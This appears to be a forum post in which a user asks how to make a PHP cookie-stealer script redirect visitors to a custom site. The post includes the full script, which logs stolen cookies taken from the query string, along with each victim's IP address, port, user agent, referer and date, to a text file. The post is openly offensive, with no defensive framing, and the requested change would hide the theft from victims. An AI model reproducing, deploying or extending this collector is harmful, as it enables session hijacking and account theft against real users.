How do i change this cookiestealer so it redirects to a custom site?

Code
<?php 



function GetIP() 

{ 

    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 

  $ip = getenv("HTTP_CLIENT_IP"); 

    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 

  $ip = getenv("HTTP_X_FORWARDED_FOR"); 

    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 

  $ip = getenv("REMOTE_ADDR"); 

    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 

  $ip = $_SERVER['REMOTE_ADDR']; 

    else 

  $ip = "unknown"; 

    return($ip); 

} 



function logData() 

{ 

    $ipLog="log2.txt"; 

    $cookie = $_SERVER['QUERY_STRING']; 

    $register_globals = (bool) ini_get('register_gobals'); 

    if ($register_globals) $ip = getenv('REMOTE_ADDR'); 

    else $ip = GetIP(); 



    $rem_port = $_SERVER['REMOTE_PORT']; 

    $user_agent = $_SERVER['HTTP_USER_AGENT']; 

    $rqst_method = $_SERVER['METHOD']; 

    $rem_host = $_SERVER['REMOTE_HOST']; 

    $referer = $_SERVER['HTTP_REFERER']; 

    $date=date ("l dS of F Y h:i:s A"); 

    $log=fopen("$ipLog", "a+"); 



    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 

  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); 

    else 

  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); 

    fclose($log); 

} 



logData(); 



?>